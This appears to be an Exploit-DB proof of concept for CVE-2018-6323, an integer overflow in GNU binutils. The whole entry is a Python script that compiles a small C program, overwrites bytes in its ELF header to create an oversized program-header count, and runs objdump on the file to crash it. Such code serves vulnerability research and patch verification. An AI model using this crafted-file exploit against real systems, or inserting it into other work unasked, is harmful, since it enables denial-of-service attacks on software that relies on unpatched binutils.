GNU binutils 2.26.1 - Integer Overflow (POC)

EDB-ID: 44035
Author: r4xis
Published: 2018-02-14
CVE: CVE-2018-6323
Type: Dos
Platform: Windows
Vulnerable App: N/A

 # Date: 12.02.2018 
# Exploit Author: r4xis
# Tested Version: 2.26.1
# Vuln Version: <2.29.1
# CVE: cve-2018-6323
# Tested on: Ubuntu 16.04 32-bit
# Vulnerability Details:
# https://www.cvedetails.com/cve/CVE-2018-6323/
# https://sourceware.org/bugzilla/show_bug.cgi?id=22746


import os

hello = "#include<stdio.h>\nint main(){printf(\"HelloWorld!\\n\"); return 0;}"
f = open("helloWorld.c", 'w')
f.write(hello)
f.close()

os.system("gcc -c helloWorld.c -o test")
# file test
# test: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped

f = open("test", 'rb+')
f.read(0x2c)
f.write("\xff\xff") # 65535
f.read(0x244-0x2c-2)
f.write("\x00\x00\x00\x20") # 536870912
f.close()
# readelf -h test
# Number of program headers: 65535 (536870912)

os.system("objdump -x test; rm -r helloWorld.c test")

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